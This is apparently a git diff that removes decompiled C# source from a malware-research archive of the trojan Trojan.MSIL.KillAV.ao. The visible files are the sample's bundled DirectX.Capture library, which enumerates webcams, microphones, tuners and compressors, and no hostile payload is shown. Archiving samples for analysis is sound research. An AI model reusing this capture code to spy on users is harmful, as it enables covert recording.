Marshal.ReleaseComObject(ppvObj); - } - } - - protected string getName(string monikerString) - { - UCOMIMoniker ucomiMoniker = (UCOMIMoniker) null; - UCOMIMoniker ppmkOut = (UCOMIMoniker) null; - try - { - ucomiMoniker = this.getAnyMoniker(); - ucomiMoniker.ParseDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, monikerString, out int _, out ppmkOut); - return this.getName(ucomiMoniker); - } - finally - { - if (ucomiMoniker != null) - Marshal.ReleaseComObject((object) ucomiMoniker); - if (ppmkOut != null) - Marshal.ReleaseComObject((object) ppmkOut); - } - } - - protected UCOMIMoniker getAnyMoniker() - { - Guid compressorCategory = FilterCategory.VideoCompressorCategory; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref compressorCategory, out ppEnumMoniker, 0); - if (ppEnumMoniker.Next(1, rgelt, out int _) != 0) - rgelt[0] = (UCOMIMoniker) null; - return rgelt[0]; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public int CompareTo(object obj) => obj == null ? 1 : this.Name.CompareTo(((Filter) obj).Name); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs deleted file mode 100644 index 5de9bf06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/FilterCollection.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.FilterCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class FilterCollection : CollectionBase - { - internal FilterCollection(Guid category) => this.getFilters(category); - - protected void getFilters(Guid category) - { - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref category, out ppEnumMoniker, 0); - while (ppEnumMoniker.Next(1, rgelt, out int _) == 0 && rgelt[0] != null) - { - this.InnerList.Add((object) new Filter(rgelt[0])); - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - } - this.InnerList.Sort(); - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (rgelt[0] != null) - Marshal.ReleaseComObject((object) rgelt[0]); - rgelt[0] = (UCOMIMoniker) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public Filter this[int index] => (Filter) this.InnerList[index]; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs deleted file mode 100644 index e4d61e31..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Filters.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filters -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; - -namespace DirectX.Capture -{ - public class Filters - { - public FilterCollection VideoInputDevices = new FilterCollection(FilterCategory.VideoInputDevice); - public FilterCollection AudioInputDevices = new FilterCollection(FilterCategory.AudioInputDevice); - public FilterCollection VideoCompressors = new FilterCollection(FilterCategory.VideoCompressorCategory); - public FilterCollection AudioCompressors = new FilterCollection(FilterCategory.AudioCompressorCategory); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs deleted file mode 100644 index 2e480dd0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPage.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class PropertyPage : IDisposable - { - public string Name; - public bool SupportsPersisting = false; - - public virtual byte[] State - { - get => throw new NotSupportedException("This property page does not support persisting state."); - set => throw new NotSupportedException("This property page does not support persisting state."); - } - - public virtual void Show(Control owner) - { - } - - public void Dispose() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs deleted file mode 100644 index 47507011..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/PropertyPageCollection.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.PropertyPageCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class PropertyPageCollection : CollectionBase, IDisposable - { - internal PropertyPageCollection() => this.InnerList.Capacity = 1; - - internal PropertyPageCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - this.addFromGraph(graphBuilder, videoDeviceFilter, audioDeviceFilter, videoCompressorFilter, audioCompressorFilter, videoSources, audioSources); - } - - ~PropertyPageCollection() => this.Dispose(); - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - public PropertyPage this[int index] => (PropertyPage) this.InnerList[index]; - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter videoDeviceFilter, - IBaseFilter audioDeviceFilter, - IBaseFilter videoCompressorFilter, - IBaseFilter audioCompressorFilter, - SourceCollection videoSources, - SourceCollection audioSources) - { - object ppint = (object) null; - this.addIfSupported((object) videoDeviceFilter, "Video Capture Device"); - Guid capture1 = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture1, ref interleaved, videoDeviceFilter, ref guid, out ppint) != 0) - { - Guid video = MediaType.Video; - if (graphBuilder.FindInterface(ref capture1, ref video, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Capture Pin"); - Guid preview1 = PinCategory.Preview; - Guid pType = MediaType.Interleaved; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref preview1, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "Video Preview Pin"); - ArrayList arrayList = new ArrayList(); - int num = 1; - for (int index = 0; index < videoSources.Count; ++index) - { - if (videoSources[index] is CrossbarSource videoSource && arrayList.IndexOf((object) videoSource.Crossbar) < 0) - { - arrayList.Add((object) videoSource.Crossbar); - if (this.addIfSupported((object) videoSource.Crossbar, "Video Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) videoCompressorFilter, "Video Compressor"); - Guid capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid = typeof (IAMTVTuner).GUID; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (graphBuilder.FindInterface(ref capture2, ref pType, videoDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - } - this.addIfSupported(ppint, "TV Tuner"); - if (videoCompressorFilter is IAMVfwCompressDialogs compressDialogs) - this.InnerList.Add((object) new VfwCompressorPropertyPage("Video Compressor", compressDialogs)); - this.addIfSupported((object) audioDeviceFilter, "Audio Capture Device"); - Guid capture3 = PinCategory.Capture; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref capture3, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Capture Pin"); - Guid preview2 = PinCategory.Preview; - pType = MediaType.Audio; - guid = typeof (IAMStreamConfig).GUID; - if (graphBuilder.FindInterface(ref preview2, ref pType, audioDeviceFilter, ref guid, out ppint) != 0) - ppint = (object) null; - this.addIfSupported(ppint, "Audio Preview Pin"); - num = 1; - for (int index = 0; index < audioSources.Count; ++index) - { - if (audioSources[index] is CrossbarSource audioSource && arrayList.IndexOf((object) audioSource.Crossbar) < 0) - { - arrayList.Add((object) audioSource.Crossbar); - if (this.addIfSupported((object) audioSource.Crossbar, "Audio Crossbar " + (num == 1 ? "" : num.ToString()))) - ++num; - } - } - arrayList.Clear(); - this.addIfSupported((object) audioCompressorFilter, "Audio Compressor"); - } - - protected bool addIfSupported(object o, string name) - { - specifyPropertyPages = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - bool flag = false; - try - { - if (o is ISpecifyPropertyPages specifyPropertyPages) - { - if (specifyPropertyPages.GetPages(out pPages) != 0 || pPages.cElems <= 0) - specifyPropertyPages = (ISpecifyPropertyPages) null; - } - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - if (specifyPropertyPages != null) - { - this.InnerList.Add((object) new DirectShowPropertyPage(name, specifyPropertyPages)); - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs deleted file mode 100644 index 5b373d5a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Source.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Source -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DirectX.Capture -{ - public class Source : IDisposable - { - protected string name; - - public string Name => this.name; - - public override string ToString() => this.Name; - - public virtual bool Enabled - { - get => throw new NotSupportedException("This method should be overriden in derrived classes."); - set => throw new NotSupportedException("This method should be overriden in derrived classes."); - } - - ~Source() => this.Dispose(); - - public virtual void Dispose() => this.name = (string) null; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs deleted file mode 100644 index 503a0624..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/SourceCollection.cs +++ /dev/null @@ -1,204 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.SourceCollection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class SourceCollection : CollectionBase, IDisposable - { - internal SourceCollection() => this.InnerList.Capacity = 1; - - internal SourceCollection( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - this.addFromGraph(graphBuilder, deviceFilter, isVideoDevice); - } - - ~SourceCollection() => this.Dispose(); - - public Source this[int index] => (Source) this.InnerList[index]; - - internal Source CurrentSource - { - get - { - foreach (Source inner in this.InnerList) - { - if (inner.Enabled) - return inner; - } - return (Source) null; - } - set - { - if (value == null) - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - } - else if (value is CrossbarSource) - { - value.Enabled = true; - } - else - { - foreach (Source inner in this.InnerList) - inner.Enabled = false; - value.Enabled = true; - } - } - } - - public new void Clear() - { - for (int index = 0; index < this.InnerList.Count; ++index) - this[index].Dispose(); - this.InnerList.Clear(); - } - - public void Dispose() - { - this.Clear(); - this.InnerList.Capacity = 1; - } - - protected void addFromGraph( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter, - bool isVideoDevice) - { - foreach (IAMCrossbar crossbar in this.findCrossbars(graphBuilder, deviceFilter)) - this.InnerList.AddRange((ICollection) this.findCrossbarSources(graphBuilder, crossbar, isVideoDevice)); - if (isVideoDevice || this.InnerList.Count != 0) - return; - this.InnerList.AddRange((ICollection) this.findAudioSources(graphBuilder, deviceFilter)); - } - - protected ArrayList findCrossbars( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList crossbars = new ArrayList(); - Guid upstreamOnly = FindDirection.UpstreamOnly; - Guid pType = new Guid(); - Guid guid = typeof (IAMCrossbar).GUID; - object ppint1 = (object) null; - object ppint2 = (object) null; - int num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, deviceFilter, ref guid, out ppint1); - while (num == 0 && ppint1 != null) - { - if (ppint1 is IAMCrossbar) - { - crossbars.Add((object) (ppint1 as IAMCrossbar)); - num = graphBuilder.FindInterface(ref upstreamOnly, ref pType, ppint1 as IBaseFilter, ref guid, out ppint2); - ppint1 = ppint2; - } - else - ppint1 = (object) null; - } - return crossbars; - } - - protected ArrayList findCrossbarSources( - ICaptureGraphBuilder2 graphBuilder, - IAMCrossbar crossbar, - bool isVideoDevice) - { - ArrayList crossbarSources = new ArrayList(); - int OutputPinCount; - int InputPinCount; - int pinCounts = crossbar.get_PinCounts(out OutputPinCount, out InputPinCount); - if (pinCounts < 0) - Marshal.ThrowExceptionForHR(pinCounts); - for (int index1 = 0; index1 < OutputPinCount; ++index1) - { - for (int index2 = 0; index2 < InputPinCount; ++index2) - { - if (crossbar.CanRoute(index1, index2) == 0) - { - PhysicalConnectorType PhysicalType; - int crossbarPinInfo = crossbar.get_CrossbarPinInfo(true, index2, out int _, out PhysicalType); - if (crossbarPinInfo < 0) - Marshal.ThrowExceptionForHR(crossbarPinInfo); - CrossbarSource crossbarSource = new CrossbarSource(crossbar, index1, index2, PhysicalType); - if (PhysicalType < PhysicalConnectorType.Audio_Tuner) - { - if (isVideoDevice) - crossbarSources.Add((object) crossbarSource); - else if (!isVideoDevice) - crossbarSources.Add((object) crossbarSource); - } - } - } - } - int index3 = 0; - while (index3 < crossbarSources.Count) - { - bool flag = false; - CrossbarSource crossbarSource1 = (CrossbarSource) crossbarSources[index3]; - for (int index4 = 0; index4 < crossbarSources.Count; ++index4) - { - CrossbarSource crossbarSource2 = (CrossbarSource) crossbarSources[index4]; - if (crossbarSource1.OutputPin == crossbarSource2.OutputPin && index3 != index4) - { - flag = true; - break; - } - } - if (flag) - ++index3; - else - crossbarSources.RemoveAt(index3); - } - return crossbarSources; - } - - protected ArrayList findAudioSources( - ICaptureGraphBuilder2 graphBuilder, - IBaseFilter deviceFilter) - { - ArrayList audioSources = new ArrayList(); - if (deviceFilter is IAMAudioInputMixer) - { - IEnumPins ppEnum; - int num1 = deviceFilter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 == 0 && ppEnum != null) - { - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = PinDirection.Output; - num2 = ppPins[0].QueryDirection(out pPinDir); - if (num2 == 0 && pPinDir == PinDirection.Input) - { - AudioSource audioSource = new AudioSource(ppPins[0]); - audioSources.Add((object) audioSource); - } - ppPins[0] = (IPin) null; - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - ppEnum = (IEnumPins) null; - } - } - if (audioSources.Count == 1) - audioSources.Clear(); - return audioSources; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs deleted file mode 100644 index 549ef946..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/Tuner.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Tuner -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Tuner : IDisposable - { - protected IAMTVTuner tvTuner = (IAMTVTuner) null; - - public Tuner(IAMTVTuner tuner) => this.tvTuner = tuner; - - public int Channel - { - get - { - int plChannel; - this.tvTuner.get_Channel(out plChannel, out int _, out int _); - return plChannel; - } - set => this.tvTuner.put_Channel(value, AMTunerSubChannel.Default, AMTunerSubChannel.Default); - } - - public TunerInputType InputType - { - get - { - DShowNET.TunerInputType inputType; - this.tvTuner.get_InputType(0, out inputType); - return (TunerInputType) inputType; - } - set => this.tvTuner.put_InputType(0, (DShowNET.TunerInputType) value); - } - - public bool SignalPresent - { - get - { - AMTunerSignalStrength plSignalStrength; - int errorCode = this.tvTuner.SignalPresent(out plSignalStrength); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return plSignalStrength == AMTunerSignalStrength.SignalPresent; - } - } - - public void Dispose() - { - if (this.tvTuner != null) - Marshal.ReleaseComObject((object) this.tvTuner); - this.tvTuner = (IAMTVTuner) null; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs deleted file mode 100644 index 33094dba..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/TunerInputType.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.TunerInputType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DirectX.Capture -{ - public enum TunerInputType - { - Cable, - Antenna, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs deleted file mode 100644 index ae6d2ee6..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VfwCompressorPropertyPage.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VfwCompressorPropertyPage -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class VfwCompressorPropertyPage : PropertyPage - { - protected IAMVfwCompressDialogs vfwCompressDialogs = (IAMVfwCompressDialogs) null; - - public override byte[] State - { - get - { - byte[] pState = (byte[]) null; - int pcbState = 0; - if (this.vfwCompressDialogs.GetState((byte[]) null, ref pcbState) == 0 && pcbState > 0) - { - pState = new byte[pcbState]; - if (this.vfwCompressDialogs.GetState(pState, ref pcbState) != 0) - pState = (byte[]) null; - } - return pState; - } - set - { - int errorCode = this.vfwCompressDialogs.SetState(value, value.Length); - if (errorCode == 0) - return; - Marshal.ThrowExceptionForHR(errorCode); - } - } - - public VfwCompressorPropertyPage(string name, IAMVfwCompressDialogs compressDialogs) - { - this.Name = name; - this.SupportsPersisting = true; - this.vfwCompressDialogs = compressDialogs; - } - - public override void Show(Control owner) => this.vfwCompressDialogs.ShowDialog(VfwCompressDialogs.Config, owner.Handle); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs deleted file mode 100644 index 8ee62891..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DirectX/Capture/VideoCapabilities.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.VideoCapabilities -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using DShowNET; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class VideoCapabilities - { - public Size InputSize; - public Size MinFrameSize; - public Size MaxFrameSize; - public int FrameSizeGranularityX; - public int FrameSizeGranularityY; - public double MinFrameRate; - public double MaxFrameRate; - - internal VideoCapabilities(IAMStreamConfig videoStreamConfig) - { - AMMediaType mediaType = (AMMediaType) null; - IntPtr num = IntPtr.Zero; - try - { - int piCount; - int numberOfCapabilities = videoStreamConfig.GetNumberOfCapabilities(out piCount, out int _); - if (numberOfCapabilities != 0) - Marshal.ThrowExceptionForHR(numberOfCapabilities); - if (piCount <= 1) - ; - num = Marshal.AllocCoTaskMem(Marshal.SizeOf(typeof (VideoStreamConfigCaps))); - IntPtr pmt; - int streamCaps = videoStreamConfig.GetStreamCaps(0, out pmt, num); - if (streamCaps != 0) - Marshal.ThrowExceptionForHR(streamCaps); - mediaType = (AMMediaType) Marshal.PtrToStructure(pmt, typeof (AMMediaType)); - VideoStreamConfigCaps structure = (VideoStreamConfigCaps) Marshal.PtrToStructure(num, typeof (VideoStreamConfigCaps)); - this.InputSize = structure.InputSize; - this.MinFrameSize = structure.MinOutputSize; - this.MaxFrameSize = structure.MaxOutputSize; - this.FrameSizeGranularityX = structure.OutputGranularityX; - this.FrameSizeGranularityY = structure.OutputGranularityY; - this.MinFrameRate = 10000000.0 / (double) structure.MaxFrameInterval; - this.MaxFrameRate = 10000000.0 / (double) structure.MinFrameInterval; - } - finally - { - if (num != IntPtr.Zero) - Marshal.FreeCoTaskMem(num); - IntPtr zero = IntPtr.Zero; - if (mediaType != null) - DsUtils.FreeAMMediaType(mediaType); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj deleted file mode 100644 index 6db7abb4..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/Trojan.MSIL.KillAV.ao.csproj +++ /dev/null @@ -1,204 +0,0 @@ - - - - - Debug - AnyCPU - 